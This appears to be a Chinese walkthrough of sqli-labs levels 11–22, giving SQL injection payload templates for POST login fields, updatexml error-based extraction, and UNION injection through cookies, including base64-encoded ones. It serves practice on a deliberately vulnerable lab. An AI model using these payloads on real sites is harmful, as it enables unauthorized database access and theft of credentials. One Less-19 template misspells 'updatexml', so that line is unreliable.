Less-11
post传输
使用hackbar构建payload,当输入uname=admin&passwd=admin&submit=Submit
时显示:

当输入uname=admin'&passwd=admin&submit=Submit
时显示:

输入uname='or 1=1 #&passwd=admin&submit=Submit
,仍然显示成功
然后按照之前的order by 步骤进行注入,不过注入方式是post。
注意:在进行post注入的时候注释符用的是“#”而不是“–+”,原因是在get中涉及到了转码的问题,在post中使用“–+”是无效的。
Less-12
与11关基本相同,就是把单引号改为双引号然后加上一个单括号,从而进行注入
模版是uname=" or(此为要构造的) #&passwd=admin&submit=Submit
Less-13
与11关部分相同,给单引号后面加上一个单括号,从而进行注入。但是发现页面只是单纯回显错误或者成功,所以我们可以采用盲注的方法,按照前面所用的时间盲注的方法进行注入。
可以用burpsuit辅助,速度能相对快一点,至于脚本后面会有所提及。
模版是uname=') or(此为要构造的)#&passwd=admin&submit=Submit
Less-14
与第13关基本相同。
模版是uname=" or(此为要构造的)#&passwd=admin&submit=Submit
‘ “ ) 1=1
Less-15
除了注入的位置之外,其它步骤均与上面相同
模版是uname=admin&passwd=' or(此为要构造的) #&submit=Submit
Less-16
与15关基本相同,只需将单引号变为双引号和单括号
模版是:uname=admin&passwd=") or(此为要构造的) #&submit=Submit
Less-17
基础知识补充:
1 | updatexml |
这一关要以知道用户名字为前提,然后才能进行后面的操作。
模版为: uname=admin&passwd=' and updatexml(1,concat(0x7e,(要构造的)),1) #&submit=Submit
Less-18
此时要使用第17关重新设置的密码进行登录,不然会报错。可以通过数据库的命令行,查看admin对应的密码。

- 模版为:
' or updatexml(1,concat(0x7e,(要构造的)),1) or '1'='1
- 模版为:
' or updatexml(1,concat(0x7e,(要构造的)),1),'','')#
Less-19
与18关基本相同。登录成功显示referer信息,登录失败没有回显信息。分析后得知,需要进行闭合操作,两种方法:
- 模版为:
' or updatexml(1,concat(0x7e,(要构造的)),1) and '1'='1
- 模版为:
' or updataxml(1,concat(0x7e,(要构造的)),1),'')#
然后通过mysql注入语句进行操作即可。
Less-20
这一关显示了很多的信息,经发现可以通过注入cookie。
$sql=”select * from users where username=’$cookie’ limit 0,1”;在登陆之后后台会将username放入cookie中。当再次登陆的时候,只要cookie没有过期,就会去cookie里面取值,然后进行查询。
模版为:' union select 1,2,(要构造的) #
Less-21
与20关基本相似。
模版为:') union select 1,2,(要构造的) #
发现cookie处的username是一串base64编码的字符串。所以需要将mysql注入语句进行base64编码
Less-22
只需将20关中的单引号改为双引号即可,其余全部相似。
模版为:" union select 1,2,(要构造的) #
然后base64编码。